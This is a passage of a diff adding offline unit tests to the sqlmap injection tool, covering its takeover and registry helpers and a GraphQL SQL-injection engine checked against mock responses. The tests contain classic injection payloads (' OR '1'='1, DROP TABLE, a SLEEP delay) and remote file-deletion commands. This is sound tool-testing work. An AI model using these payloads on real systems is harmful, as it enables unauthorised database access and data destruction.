set_dbms("MySQL") + conf.direct = True + c = Custom() + cmod.inject.goStacked = lambda *a, **k: None + + saved = cmod.getSQLSnippet + try: + cmod.getSQLSnippet = lambda dbms, filename, **kw: "DROP TABLE x" + conf.sqlFile = "dummy.sql" + c.sqlFile() + # non-SELECT => single recorded call with the whole snippet + self.assertEqual(len(conf.dumper.sqlQueries), 1) + self.assertEqual(conf.dumper.sqlQueries[0][0], "DROP TABLE x") + finally: + cmod.getSQLSnippet = saved + + +# --------------------------------------------------------------------------- # +# misc.py +# --------------------------------------------------------------------------- # + +class _TestMisc(Miscellaneous): + """Miscellaneous with the OS/exec collaborators stubbed.""" + + cmdTblName = "sqlmapoutput" + + def __init__(self): + Miscellaneous.__init__(self) + self.checkDbmsOsCalls = 0 + self.execCmdCalls = [] + + def checkDbmsOs(self, detailed=False, vatch=False): + self.checkDbmsOsCalls += 1 + + def execCmd(self, cmd, silent=False): + self.execCmdCalls.append((cmd, silent)) + + +class TestMisc(_GenericBase): + def test_remote_temp_path_posix(self): + set_dbms("MySQL") + self._force_os(OS.LINUX) + conf.tmpPath = None + m = _TestMisc() + out = m.getRemoteTempPath() + self.assertEqual(out, "/tmp") + self.assertEqual(conf.tmpPath, "/tmp") + + def test_remote_temp_path_windows_direct(self): + set_dbms("MySQL") + self._force_os(OS.WINDOWS) + conf.tmpPath = None + conf.direct = True + m = _TestMisc() + out = m.getRemoteTempPath() + self.assertEqual(out, "%TEMP%") + + def test_remote_temp_path_explicit_windows_drive(self): + # An explicit Windows-style drive path flips Backend OS to Windows. + set_dbms("MySQL") + conf.tmpPath = "C:\\Temp" + kb.os = None # let getRemoteTempPath detect Windows from the drive path + m = _TestMisc() + out = m.getRemoteTempPath() + self.assertTrue(Backend.isOs(OS.WINDOWS)) + self.assertIn("Temp", out) + self.assertNotIn("\\", out) # ntToPosixSlashes normalized the path + + def test_remote_temp_path_mssql_errorlog(self): + set_dbms("Microsoft SQL Server") + conf.tmpPath = None + mmod.inject.getValue = lambda query, **k: "C:\\Logs\\ERRORLOG" + m = _TestMisc() + out = m.getRemoteTempPath() + # ntpath.dirname strips the ERRORLOG filename, then ntToPosixSlashes + # normalizes the slashes: the exact temp dir must be "C:/Logs". Asserting + # the full path (and that the filename is gone) proves dirname ran. + self.assertEqual(out, "C:/Logs") + self.assertNotIn("ERRORLOG", out) + + def test_get_version_from_banner(self): + set_dbms("MySQL") + conf.direct = True + kb.bannerFp = {} + mmod.inject.getValue = lambda query, **k: "5.7.31-log" + m = _TestMisc() + m.getVersionFromBanner() + # regex \d[\d.-]* extracts the leading numeric-ish run (trailing '-' kept) + self.assertEqual(kb.bannerFp["dbmsVersion"], "5.7.31-") + + def test_get_version_from_banner_cached(self): + set_dbms("MySQL") + kb.bannerFp = {"dbmsVersion": "8.0"} + mmod.inject.getValue = lambda *a, **k: self.fail("must not query when cached") + m = _TestMisc() + m.getVersionFromBanner() + self.assertEqual(kb.bannerFp["dbmsVersion"], "8.0") + + def test_del_remote_file_posix(self): + set_dbms("MySQL") + self._force_os(OS.LINUX) + m = _TestMisc() + m.delRemoteFile("/tmp/foo") + self.assertEqual(m.execCmdCalls[-1], ("rm -f /tmp/foo", True)) + + def test_del_remote_file_windows(self): + set_dbms("MySQL") + self._force_os(OS.WINDOWS) + m = _TestMisc() + m.delRemoteFile("C:/tmp/foo") + cmd, silent = m.execCmdCalls[-1] + self.assertTrue(cmd.startswith("del /F /Q")) + self.assertTrue(silent) + + def test_del_remote_file_empty_noop(self): + set_dbms("MySQL") + m = _TestMisc() + m.delRemoteFile(None) + self.assertEqual(m.execCmdCalls, []) + self.assertEqual(m.checkDbmsOsCalls, 0) + + def test_create_support_tbl(self): + set_dbms("MySQL") + m = _TestMisc() + stacked = [] + mmod.inject.goStacked = lambda query, **k: stacked.append(query) + m.createSupportTbl("mytbl", "data", "TEXT") + joined = " | ".join(stacked) + self.assertIn("DROP TABLE mytbl", joined) + self.assertIn("CREATE TABLE mytbl(data TEXT)", joined) + + def test_create_support_tbl_mssql_cmdtbl(self): + set_dbms("Microsoft SQL Server") + m = _TestMisc() + stacked = [] + mmod.inject.goStacked = lambda query, **k: stacked.append(query) + m.createSupportTbl(m.cmdTblName, "data", "NVARCHAR(4000)") + joined = " | ".join(stacked) + # MSSQL cmd output table gets an IDENTITY id column + self.assertIn("IDENTITY", joined) + + def test_like_or_exact_default(self): + m = _TestMisc() + mmod.readInput = lambda *a, **k: '1' + choice, cond = m.likeOrExact("table") + self.assertEqual(choice, '1') + self.assertIn("LIKE", cond) + + def test_like_or_exact_exact(self): + m = _TestMisc() + mmod.readInput = lambda *a, **k: '2' + choice, cond = m.likeOrExact("table") + self.assertEqual(choice, '2') + self.assertEqual(cond, "='%s'") + + def test_like_or_exact_invalid(self): + from lib.core.exception import SqlmapNoneDataException + m = _TestMisc() + mmod.readInput = lambda *a, **k: '9' + self.assertRaises(SqlmapNoneDataException, m.likeOrExact, "table") + + +# --------------------------------------------------------------------------- # +# takeover.py (pure helpers only) +# --------------------------------------------------------------------------- # + +class _TestTakeover(tmod.Takeover): + """Takeover with all process/network collaborators stubbed. + + Only the pure control-flow helpers (table naming, reg read/add/del dispatch, + osBof/osSmb guards) are exercised; metasploit/icmpsh/UDF spawning is replaced + with recorders so no external process or socket is ever created. + """ + + def __init__(self): + tmod.Takeover.__init__(self) + self.regCalls = [] + self.osVal = OS.WINDOWS + self.smbCalled = False + self.bofCalled = False + self._regInitCalled = 0 + + # neutralize environment setup / OS detection + def _regInit(self): + self._regInitCalled += 1 + + def checkDbmsOs(self, detailed=False, vatch=False): + pass + + def initEnv(self, *a, **k): + pass + + def getRemoteTempPath(self): + return "/tmp" + + def createMsfShellcode(self, *a, **k): + pass + + def readRegKey(self, regKey, regValue, parse=False): + self.regCalls.append(("read", regKey, regValue)) + return "value" + + def addRegKey(self, regKey, regValue, regType, regData): + self.regCalls.append(("add", regKey, regValue, regType, regData)) + + def delRegKey(self, regKey, regValue): + self.regCalls.append(("del", regKey, regValue)) + + def smb(self): + self.smbCalled = True + + def bof(self): + self.bofCalled = True + + +class TestTakeover(_GenericBase): + def _saved_takeover_readInput(self): + return tmod.readInput + + def setUp(self): + _GenericBase.setUp(self) + self._saved_t_readInput = tmod.readInput + + def tearDown(self): + tmod.readInput = self._saved_t_readInput + _GenericBase.tearDown(self) + + def test_init_cmd_table_name(self): + set_dbms("MySQL") + t = _TestTakeover() + self.assertEqual(t.cmdTblName, "%soutput" % conf.tablePrefix) + self.assertEqual(t.tblField, "data") + + def test_reg_read_from_conf(self): + set_dbms("Microsoft SQL Server") + conf.regKey = "HKLM\\Soft" + conf.regVal = "Name" + t = _TestTakeover() + out = t.regRead() + self.assertEqual(out, "value") + self.assertEqual(t.regCalls[-1], ("read", "HKLM\\Soft", "Name")) + self.assertEqual(t._regInitCalled, 1) + + def test_reg_read_defaults(self): + set_dbms("Microsoft SQL Server") + conf.regKey = None + conf.regVal = None + tmod.readInput = lambda message, default=None, **k: default + t = _TestTakeover() + t.regRead() + kind, regKey, regVal = t.regCalls[-1] + self.assertEqual(kind, "read") + self.assertIn("CurrentVersion", regKey) + self.assertEqual(regVal, "ProductName") + + def test_reg_add_from_conf(self): + set_dbms("Microsoft SQL Server") + conf.regKey = "HKLM\\Soft" + conf.regVal = "Name" + conf.regData = "data" + conf.regType = "REG_SZ" + t = _TestTakeover() + t.regAdd() + self.assertEqual(t.regCalls[-1], ("add", "HKLM\\Soft", "Name", "REG_SZ", "data")) + + def test_reg_add_missing_key_raises(self): + from lib.core.exception import SqlmapMissingMandatoryOptionException + set_dbms("Microsoft SQL Server") + conf.regKey = None + conf.regVal = None + conf.regData = None + conf.regType = None + tmod.readInput = lambda *a, **k: "" # empty -> missing mandatory option + t = _TestTakeover() + self.assertRaises(SqlmapMissingMandatoryOptionException, t.regAdd) + + def test_reg_del_confirmed(self): + set_dbms("Microsoft SQL Server") + conf.regKey = "HKLM\\Soft" + conf.regVal = "Name" + tmod.readInput = lambda message, default=None, boolean=False, **k: True if boolean else default + t = _TestTakeover() + t.regDel() + self.assertEqual(t.regCalls[-1], ("del", "HKLM\\Soft", "Name")) + + def test_reg_del_declined(self): + set_dbms("Microsoft SQL Server") + conf.regKey = "HKLM\\Soft" + conf.regVal = "Name" + tmod.readInput = lambda message, default=None, boolean=False, **k: False if boolean else default + t = _TestTakeover() + t.regDel() + # declined => no delRegKey call recorded + self.assertEqual([c for c in t.regCalls if c[0] == "del"], []) + + def test_osbof_wrong_dbms_raises(self): + from lib.core.exception import SqlmapUnsupportedDBMSException + set_dbms("MySQL") + conf.direct = True + t = _TestTakeover() + self.assertRaises(SqlmapUnsupportedDBMSException, t.osBof) + + def test_osbof_no_stacking_returns(self): + set_dbms("Microsoft SQL Server") + conf.direct = False + kb.injection.data = {} # no stacking, not direct => early return + t = _TestTakeover() + self.assertIsNone(t.osBof()) + self.assertFalse(t.bofCalled) + + def test_ossmb_non_windows_raises(self): + from lib.core.exception import SqlmapUnsupportedDBMSException + set_dbms("MySQL") + conf.direct = True + t = _TestTakeover() + + # checkDbmsOs is a no-op here, so force the non-Windows OS explicitly + self._force_os(OS.LINUX) + self.assertRaises(SqlmapUnsupportedDBMSException, t.osSmb) + self.assertFalse(t.smbCalled) + + def test_ossmb_windows_invokes_smb(self): + set_dbms("MySQL") + conf.direct = True + self._force_os(OS.WINDOWS) + t = _TestTakeover() + t.osSmb() + self.assertTrue(t.smbCalled) + + +if __name__ == "__main__": + unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_graphql.py b/tests/test_graphql.py new file mode 100644 index 00000000000..057b6d7b6f0 --- /dev/null +++ b/tests/test_graphql.py @@ -0,0 +1,1003 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Offline, deterministic tests for the GraphQL injection engine. Mock oracles stand in for the +HTTP/GraphQL layer so endpoint detection, introspection parsing, slot enumeration, query +construction, and boolean/error-based detection can be exercised without a live target. +""" + +import json +import re +import unittest + +from _testutils import bootstrap +bootstrap() + +import lib.techniques.graphql.inject as gi + +# --- Mock helpers ----------------------------------------------------------- + +MATCH = '{"data":{"user":{"id":1,"name":"luther","surname":"blisset"}}}' +NOMATCH = '{"data":{"user":null}}' +DB_ERROR = '{"errors":[{"message":"You have an error in your SQL syntax; check the manual...","path":["user"]}]}' +GQL_PARSE_ERROR = '{"errors":[{"message":"Syntax Error: Expected Name, found )","extensions":{"code":"GRAPHQL_PARSE_FAILED"}}]}' + +MOCK_SCHEMA = { + "data": {"__schema": { + "queryType": {"name": "Query"}, + "mutationType": {"name": "Mutation"}, + "subscriptionType": None, + "directives": [], + "types": [ + {"kind": "OBJECT", "name": "Query", "fields": [ + {"name": "user", "args": [ + {"name": "username", "defaultValue": None, + "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}} + ], "type": {"kind": "OBJECT", "name": "User", "ofType": None}}, + {"name": "byId", "args": [ + {"name": "id", "defaultValue": None, + "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "Int", "ofType": None}}} + ], "type": {"kind": "OBJECT", "name": "User", "ofType": None}}, + {"name": "login", "args": [ + {"name": "username", "defaultValue": None, + "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}}, + {"name": "password", "defaultValue": None, + "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}}, + ], "type": {"kind": "OBJECT", "name": "AuthPayload", "ofType": None}}, + {"name": "version", "args": [], + "type": {"kind": "SCALAR", "name": "String", "ofType": None}}, + ], "inputFields": None, "enumValues": None}, + {"kind": "SCALAR", "name": "String"}, + {"kind": "SCALAR", "name": "Int"}, + {"kind": "SCALAR", "name": "Float"}, + {"kind": "SCALAR", "name": "ID"}, + {"kind": "OBJECT", "name": "User", "fields": [ + {"name": "id", "args": [], "type": {"kind": "SCALAR", "name": "Int", "ofType": None}}, + {"name": "name", "args": [], "type": {"kind": "SCALAR", "name": "String", "ofType": None}}, + ], "inputFields": None, "enumValues": None}, + {"kind": "OBJECT", "name": "AuthPayload", "fields": [ + {"name": "token", "args": [], "type": {"kind": "SCALAR", "name": "String", "ofType": None}}, + {"name": "user", "args": [], "type": {"kind": "OBJECT", "name": "User", "ofType": None}}, + ], "inputFields": None, "enumValues": None}, + ] + }} +} + + +def _slot(opType, rootName, fieldName, argName, strategy="string", + returnKind="OBJECT", returnType="User", + returnSel="{ id name }", allArgs=None): + """Test helper: build a minimal Slot with sensible defaults""" + if allArgs is None: + argType = {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}} + if strategy == "numeric": + argType = {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "Int", "ofType": None}} + elif strategy == "id_dual": + argType = {"kind": "SCALAR", "name": "ID"} + allArgs = [(argName, argType, None)] + return gi.Slot(opType, rootName, fieldName, allArgs, argName, strategy, + returnKind, returnType, returnSel) + + +# --- Tests ----------------------------------------------------------------- + +class TestGraphqlHelpers(unittest.TestCase): + """Unit tests for type-walking, classification, and response parsing""" + + def test_unwrap_simple_scalar(self): + chain = gi._unwrapType({"kind": "SCALAR", "name": "String"}) + self.assertEqual(chain, [("SCALAR", "String")]) + + def test_unwrap_non_null(self): + chain = gi._unwrapType({"kind": "NON_NULL", "name": None, + "ofType": {"kind": "SCALAR", "name": "String"}}) + self.assertEqual(chain, [("NON_NULL", None), ("SCALAR", "String")]) + + def test_unwrap_list_non_null(self): + chain = gi._unwrapType({"kind": "LIST", "name": None, + "ofType": {"kind": "NON_NULL", "name": None, + "ofType": {"kind": "OBJECT", "name": "User"}}}) + self.assertEqual(chain, [("LIST", None), ("NON_NULL", None), ("OBJECT", "User")]) + + def test_classify_string(self): + self.assertEqual(gi._classifyArg({"kind": "NON_NULL", "ofType": {"kind": "SCALAR", "name": "String"}}), "string") + + def test_classify_int(self): + self.assertEqual(gi._classifyArg({"kind": "SCALAR", "name": "Int"}), "numeric") + + def test_classify_float(self): + self.assertEqual(gi._classifyArg({"kind": "SCALAR", "name": "Float"}), "numeric") + + def test_classify_id(self): + self.assertEqual(gi._classifyArg({"kind": "SCALAR", "name": "ID"}), "id_dual") + + def test_classify_boolean_is_none(self): + self.assertIsNone(gi._classifyArg({"kind": "SCALAR", "name": "Boolean"})) + + def test_escape_graphql_string(self): + self.assertEqual(gi._escapeGraphQLString('test"quote'), 'test\\"quote') + self.assertEqual(gi._escapeGraphQLString("back\\slash"), "back\\\\slash") + + def test_is_graphql_response_with_typename(self): + self.assertTrue(gi._isGraphQLResponse('{"data":{"__typename":"Query"}}')) + + def test_is_graphql_response_parse_error(self): + self.assertTrue(gi._isGraphQLResponse( + '{"errors":[{"message":"Syntax Error: Unexpected ","extensions":{"code":"GRAPHQL_PARSE_FAILED"}}]}')) + + def test_not_graphql_response(self): + self.assertFalse(gi._isGraphQLResponse("hello")) + self.assertFalse(gi._isGraphQLResponse("")) + self.assertFalse(gi._isGraphQLResponse('{"data":{"user":{"id":1}}}')) # no __typename, no graphql error phrasing + + def test_error_text_extraction(self): + err = gi._errorText(DB_ERROR) + self.assertIn("SQL syntax", err) + self.assertIn("check the manual", err) + + def test_error_text_from_parse_failure(self): + err = gi._errorText(GQL_PARSE_ERROR) + self.assertIn("GRAPHQL_PARSE_FAILED", err) + self.assertIn("Syntax Error", err) + + def test_slot_value_from_data(self): + val = gi._slotValue(MATCH) + self.assertIn("luther", val) + self.assertIn("blisset", val) + + def test_slot_value_null(self): + val = gi._slotValue(NOMATCH) + self.assertIn("null", val) + + +class TestGraphqlIntrospection(unittest.TestCase): + """Schema walking and slot enumeration""" + + def test_extract_slots(self): + schema = MOCK_SCHEMA["data"]["__schema"] + slots = gi._extractSlots(schema) + names = [(s.parentType, s.fieldName, s.targetArg, s.strategy) for s in slots] + self.assertIn(("Query", "user", "username", "string"), names) + self.assertIn(("Query", "byId", "id", "numeric"), names) + + def test_login_has_two_args(self): + """login(username: String!, password: String!) -- both required args should be in Slot""" + schema = MOCK_SCHEMA["data"]["__schema"] + slots = gi._extractSlots(schema) + loginSlots = [s for s in slots if s.fieldName == "login"] + self.assertEqual(len(loginSlots), 2) + for s in loginSlots: + self.assertEqual(len(s.allArgs), 2) # username + password + + def test_scalar_return_has_empty_selection(self): + """version: String -- field with no args produces no slots""" + schema = MOCK_SCHEMA["data"]["__schema"] + slots = gi._extractSlots(schema) + # version has no args, so it should NOT appear in slots + versionSlots = [s for s in slots if s.fieldName == "version"] + self.assertEqual(len(versionSlots), 0) + + +class TestGraphqlBuildQuery(unittest.TestCase): + """GraphQL query document construction from Slot + value""" + + def test_string_arg(self): + slot = _slot("query", "Query", "user", "username", "string") + q = gi._buildQuery(slot, "luther") + self.assertIn('user(username:"luther")', q) + self.assertIn("{ id name }", q) + + def test_string_injection_payload(self): + slot = _slot("query", "Query", "user", "username", "string") + q = gi._buildQuery(slot, "' OR '1'='1") + self.assertIn("' OR '1'='1", q) + + def test_numeric_with_payload_is_empty(self): + """Numeric GraphQL literals cannot carry SQL payloads; _buildQuery returns ''""" + slot = _slot("query", "Query", "byId", "id", "numeric") + q = gi._buildQuery(slot, "1 OR 1=1") + self.assertEqual(q, "") + + def test_numeric_with_valid_integer(self): + slot = _slot("query", "Query", "byId", "id", "numeric") + q = gi._buildQuery(slot, "1") + self.assertIn("byId(id:1)", q) + + def test_id_string(self): + slot = _slot("query", "Query", "get", "uid", "id_dual") + q = gi._buildQuery(slot, "abc") + self.assertIn('get(uid:"abc")', q) + + def test_id_numeric(self): + slot = _slot("query", "Query", "get", "uid", "id_dual") + q = gi._buildQuery(slot, "123") + self.assertIn("get(uid:123)", q) + + def test_two_required_args_renders_both(self): + """login(username: String!, password: String!) -- uninjected sibling gets a default""" + allArgs = [ + ("username", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}, None), + ("password", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}, None), + ] + slot = gi.Slot("query", "Query", "login", allArgs, "password", "string", + "OBJECT", "AuthPayload", "{ token user { id name } }") + q = gi._buildQuery(slot, "' OR '1'='1") + self.assertIn("login(", q) + self.assertIn("username:", q) # required sibling rendered + self.assertIn("password:", q) # target arg rendered + self.assertIn("' OR '1'='1", q) + + def test_mutation_wraps_with_mutation_keyword(self): + allArgs = [ + ("id", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "Int", "ofType": None}}, None), + ("email", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}, None), + ] + slot = gi.Slot("mutation", "Mutation", "updateUser", allArgs, "email", "string", + "OBJECT", "User", "{ id name }") + q = gi._buildQuery(slot, "x' OR '1'='1") + self.assertTrue(q.startswith("mutation {")) + + +class TestGraphqlBooleanDetection(unittest.TestCase): + """Boolean-based detection via mock oracle""" + + def setUp(self): + self._gql = gi._gqlSend + self._conf = gi.conf + gi.conf = type("C", (), {"url": "http://test/graphql"})() + + pages = {"true": MATCH, "false": NOMATCH} + def fakeSend(endpoint, query, variables=None): + if "'1'='1" in query: + return pages["true"], 200 + if "'1'='2" in query: + return pages["false"], 200 + return NOMATCH, 200 + gi._gqlSend = fakeSend + + def tearDown(self): + gi._gqlSend = self._gql + gi.conf = self._conf + + def test_boolean_detected(self): + slot = _slot("query", "Query", "user", "username", "string") + oracleType, template, _win = gi._detectBoolean(slot, "http://test/graphql") + self.assertIsNotNone(oracleType) + self.assertIn("boolean-based", oracleType) + + def test_numeric_skipped(self): + slot = _slot("query", "Query", "byId", "id", "numeric") + oracleType, template, _win = gi._detectBoolean(slot, "http://test/graphql") + self.assertIsNone(oracleType) + + def test_graphql_two_true_transport_failures_do_not_confirm(self): + # the TRUE query fails transport (-> None), the FALSE succeeds: two None trues must NOT be + # read as a reproducible page that "differs" from false (the classic fabricated confirmation) + def fakeSend(endpoint, query, variables=None): + if "'1'='1" in query: + return None, 0 # transport failure on the true payload + return NOMATCH, 200 + gi._gqlSend = fakeSend + slot = _slot("query", "Query", "user", "username", "string") + oracleType, _, _win = gi._detectBoolean(slot, "http://test/graphql") + self.assertIsNone(oracleType) + + def test_graphql_false_page_is_replayed(self): + # a FALSE page that does not reproduce (jitter) must not establish an oracle + state = {"n": 0} + def fakeSend(endpoint, query, variables=None): + if "'1'='1" in query: + return MATCH, 200 + state["n"] += 1 + if state["n"] % 2: # false response is unstable (jitter) + return '{"data":{"user":{"id":1,"name":"alpha"}}}', 200 + return '{"data":{"user":{"totally":"different","shape":"here","x":12345,"y":67890}}}', 200 + gi._gqlSend = fakeSend + slot = _slot("query", "Query", "user", "username", "string") + oracleType, _, _win = gi._detectBoolean(slot, "http://test/graphql") + self.assertIsNone(oracleType) + + def test_graphql_resolver_error_false_is_not_a_boolean_oracle(self): + # P0-3: the FALSE payload trips a stable HTTP-200 resolver error ({data:null, errors:[...]}), + # which yields the same {"user":null} observation as a genuine false. That is NOT a boolean + # oracle (it belongs to error-based detection) - _detectBoolean must reject the errored pair. + def fakeSend(endpoint, query, variables=None): + if "'1'='1" in query: # true -> real rows + return MATCH, 200 + return '{"data":{"user":null},"errors":[{"message":"resolver failed","path":["user"]}]}', 200 + gi._gqlSend = fakeSend + slot = _slot("query", "Query", "user", "username", "string") + oracleType, _, _win = gi._detectBoolean(slot, "http://test/graphql") + self.assertIsNone(oracleType) + + def test_has_errors_and_alias_errored(self): + self.assertTrue(gi._hasErrors('{"data":{"user":null},"errors":[{"message":"x"}]}')) + self.assertFalse(gi._hasErrors('{"data":{"user":null}}')) + # an alias with an error path, or an absent alias, is errored/unknown + self.assertTrue(gi._aliasErrored('{"data":{"a0":null},"errors":[{"message":"e","path":["a0"]}]}', "a0")) + self.assertTrue(gi._aliasErrored('{"data":{"a1":true}}', "a0")) # a0 absent + self.assertFalse(gi._aliasErrored('{"data":{"a0":true}}', "a0")) + + +class TestGraphqlErrorDetection(unittest.TestCase): + """Error-based detection via mock oracle""" + + def setUp(self): + self._gql = gi._gqlSend + self._conf = gi.conf + gi.conf = type("C", (), {"url": "http://test/graphql"})() + + def fakeSend(endpoint, query, variables=None): + if "'" in query and "'1'='1" not in query: + return DB_ERROR, 500 + return NOMATCH, 200 + gi._gqlSend = fakeSend + + def tearDown(self): + gi._gqlSend = self._gql + gi.conf = self._conf + + def test_error_detected(self): + slot = _slot("query", "Query", "user", "username", "string") + oracleType, detail, _win = gi._detectError(slot, "http://test/graphql") + self.assertEqual(oracleType, "error-based") + + def test_report_shows_winning_error_payload_not_boolean(self): + # boolean payloads do NOT diverge (both -> NOMATCH) so boolean detection fails; only the error + # payloads trip a DB error. The reported reproducer must be the WINNING error payload, never the + # generic ' OR '1'='1 boolean payload. + def fakeSend(endpoint, query, variables=None): + if "'1'='" in query: # both boolean payloads ('1'='1 / '1'='2) -> identical, no oracle + return NOMATCH, 200 + if "'" in query: # error payloads (', '', '") -> DB error + return DB_ERROR, 500 + return NOMATCH, 200 + gi._gqlSend = fakeSend + reports = [] + gi.conf.dumper = type("D", (), {"singleString": lambda self, m: reports.append(m)})() + gi.conf.beep = False + slot = _slot("query", "Query", "user", "username", "string") + oracleType, _oracle, _detail = gi._testSlot(slot, "http://test/graphql") + self.assertEqual(oracleType, "error-based") + report = next(r for r in reports if "Payload:" in r) + self.assertNotIn("'1'='1", report) # not the boolean payload + self.assertIn("error-based", report) + + +class TestGraphqlParseRows(unittest.TestCase): + """JSON data row parsing for in-band dumps""" + + def test_single_object(self): + page = '{"data":{"user":{"id":1,"name":"luther","surname":"blisset"}}}' + slot = _slot("query", "Query", "user", "username", "string") + result = gi._parseRows(page, slot) + self.assertIsNotNone(result) + columns, rows = result + self.assertIn("id", columns) + self.assertIn("name", columns) + self.assertEqual(rows[0][columns.index("name")], "luther") + + def test_list_of_objects(self): + page = '{"data":{"search":[{"id":1,"name":"luther"},{"id":2,"name":"fluffy"}]}}' + slot = _slot("query", "Query", "search", "term", "string") + columns, rows = gi._parseRows(page, slot) + self.assertEqual(len(rows), 2) + names = [r[columns.index("name")] for r in rows] + self.assertIn("luther", names) + self.assertIn("fluffy", names) + + def test_null_returns_none(self): + page = '{"data":{"user":null}}' + slot = _slot("query", "Query", "user", "username", "string") + self.assertIsNone(gi._parseRows(page, slot)) + + def test_non_json_returns_none(self): + self.assertIsNone(gi._parseRows("", None)) + + +class TestGraphqlGrid(unittest.TestCase): + """ASCII table rendering""" + + def test_grid(self): + output = gi._grid(["id", "name"], [["1", "luther"], ["2", "fluffy"]]) + self.assertIn("id", output) + self.assertIn("luther", output) + self.assertIn("fluffy", output) + self.assertIn("+-", output) + self.assertIn("|", output) + + +class TestGraphqlEndpointDetection(unittest.TestCase): + """Mock endpoint detection""" + + def setUp(self): + self._gql = gi._gqlSend + def fakeSend(endpoint, query, variables=None): + if endpoint.endswith("/graphql") and "__typename" in query: + return '{"data":{"__typename":"Query"}}', 200 + return 'Not Found', 404 + gi._gqlSend = fakeSend + + def tearDown(self): + gi._gqlSend = self._gql + + def test_detect_direct_url(self): + endpoint, page = gi._detectEndpoint("http://test/graphql", probePaths=False) + self.assertEqual(endpoint, "http://test/graphql") + + def test_detect_via_probe(self): + endpoint, page = gi._detectEndpoint("http://test", probePaths=True) + self.assertEqual(endpoint, "http://test/graphql") + + def test_not_graphql_endpoint(self): + def fakeSend(endpoint, query, variables=None): + return 'Not Found', 404 + gi._gqlSend = fakeSend + endpoint, page = gi._detectEndpoint("http://test", probePaths=True) + self.assertIsNone(endpoint) + + +class TestGraphqlIntrospectionFallback(unittest.TestCase): + """Introspection without specifiedByURL (older servers)""" + + def setUp(self): + self._gql = gi._gqlSend + self._conf = gi.conf + gi.conf = type("C", (), {"url": "http://test/graphql"})() + + def tearDown(self): + gi._gqlSend = self._gql + gi.conf = self._conf + + def test_fallback_without_specifiedByURL(self): + calls = [] + def fakeSend(endpoint, query, variables=None): + calls.append(query) + if "specifiedByURL" in query: + return '{"errors":[{"message":"Unknown field specifiedByURL"}]}', 400 + return json.dumps(MOCK_SCHEMA), 200 + + gi._gqlSend = fakeSend + schema = gi._introspect("http://test/graphql") + self.assertIsNotNone(schema) + self.assertIn("queryType", schema) + self.assertEqual(len(calls), 2) # first fails, second succeeds + + +class TestGraphqlNestedReturnSelection(unittest.TestCase): + """Nested return selections for object-typed fields within the return type""" + + def test_auth_payload_nested_user(self): + """AuthPayload { token, user { id name } } -- selection must nest user sub-fields""" + schema = MOCK_SCHEMA["data"]["__schema"] + slots = gi._extractSlots(schema) + loginSlots = [s for s in slots if s.fieldName == "login"] + self.assertTrue(len(loginSlots) > 0) + # The nested selection should include 'user { ... }' at some level + for s in loginSlots: + self.assertIn("token", s.returnSel) + # user sub-fields should appear + self.assertIn("id", s.returnSel) + self.assertIn("name", s.returnSel) + + +class TestGraphqlCell(unittest.TestCase): + """Dump-cell rendering: scalars as text, nested structures as compact JSON, null as NULL""" + + def test_scalar(self): + self.assertEqual(gi._cell("luther"), "luther") + self.assertEqual(gi._cell(7), "7") + + def test_null(self): + self.assertEqual(gi._cell(None), "NULL") + + def test_nested_object_is_json_not_repr(self): + # issue B: a nested object must not leak Python dict syntax into the dump + self.assertEqual(gi._cell({"id": 1, "name": "luther"}), '{"id": 1, "name": "luther"}') + self.assertEqual(gi._cell([1, 2]), "[1, 2]") + + +class TestGraphqlDialects(unittest.TestCase): + """Per-DBMS SQL building blocks""" + + def test_sqlite_ordinal_and_length(self): + d = gi.DIALECTS["SQLite"] + self.assertEqual(d.length("x"), "LENGTH((x))") + self.assertEqual(d.ordinal("x", 3), "UNICODE(SUBSTR((x),3,1))") + + def test_sqlite_row_handles_nulls(self): + d = gi.DIALECTS["SQLite"] + sql = d.row(["name", "surname"], "users", 3) + self.assertIn("LIMIT 1 OFFSET 3", sql) # per-row, not a whole-table GROUP_CONCAT + self.assertIn('COALESCE(CAST("name" AS TEXT),\'NULL\')', sql) # column identifier quoted + self.assertIn('FROM "users"', sql) # table identifier quoted + + def test_row_quotes_reserved_and_mixedcase_identifiers(self): + # a reserved word / mixed-case / spaced / quote-bearing name must be quoted, not interpolated raw + d = gi.DIALECTS["PostgreSQL"] + sql = d.row(["order", 'we"ird'], "myTable", 0) + self.assertIn('CAST("order" AS TEXT)', sql) + self.assertIn('CAST("we""ird" AS TEXT)', sql) # embedded quote doubled + d2 = gi.DIALECTS["Microsoft SQL Server"] + self.assertIn("[order]", d2.row(["order"], "dbo.t", 0)) + + def test_pgsql_schema_qualified_from(self): + # a "schema.table" catalog name qualifies AND quotes both parts for the dump FROM + d = gi.DIALECTS["PostgreSQL"] + self.assertIn('FROM "secret"."users"', d.row(["id"], "secret.users", 0)) + self.assertEqual(d.fromIdent("secret.users"), '"secret"."users"') + + def test_mysql_uses_sleep_delay(self): + d = gi.DIALECTS["MySQL"] + self.assertEqual(d.delay("1=1", 5), "IF((1=1),SLEEP(5),0)") + + def test_sqlite_has_no_delay(self): + self.assertIsNone(gi.DIALECTS["SQLite"].delay) + + +def _dbmsTruth(dbms): + """A truth() oracle that behaves like a real `dbms` back-end: it answers each + dialect's fingerprint predicate by the SQL *semantics* a genuine instance would + exhibit, keyed on the function tokens the predicate emits - never on the + fingerprint constant itself. A predicate referencing a function the back-end does + not implement raises an error on a real server and is therefore falsy here.""" + + # Which vendor-specific tokens each back-end actually understands. A predicate is + # true only if every vendor token it mentions belongs to this back-end (mirroring + # an unknown function being a hard error rather than a false comparison). + knows = { + 